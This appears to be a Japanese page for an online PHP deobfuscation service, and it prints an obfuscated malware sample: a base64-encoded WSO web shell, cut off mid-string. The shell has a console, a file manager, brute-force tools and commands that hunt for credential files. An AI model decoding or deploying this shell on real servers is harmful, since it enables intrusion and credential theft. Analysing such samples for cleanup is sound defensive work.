Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6"; $string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnM2MyMjM0YTdjZTk3M2JjMTcwMGUwYzc0M2Q2YTgxOWMnO...



難読化されたPHPコード

<?php

$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnM2MyMjM0YTdjZTk3M2JjMTcwMGUwYzc0M2Q2YTgxOWMnOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CgpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwovL0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNScpOwoKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09PS0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQoKZnVuY3Rpb24gd3NvTG9naW4oKSB7CglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOwp9CgpmdW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10gPSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhfcGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNlCgkkb3MgPSAnbml4JzsKCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CmlmKCEkc2FmZV9tb2RlKQogICAgZXJyb3JfcmVwb3J0aW5nKDApOwoKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsKCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CgppZigkb3MgPT0gJ3dpbicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpOwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25vc3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xvcjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBkb2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsKCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UKCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdldG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgpOwoJCSRncm91cCA9ICI/IjsKCX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykKCQkJJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCgkkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwoJJG1bJ1NlbGYgcmVtb3ZlJ10gPSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgkbSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOwoKCSRkcml2ZXMgPSAiIjsKCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsKCX0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicKICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFuaz5bZXhwbG9pdC1kYi5jb21dPC9hPjwvbm9icj48YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PicpCiAgICAgICAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj5bIHBocGluZ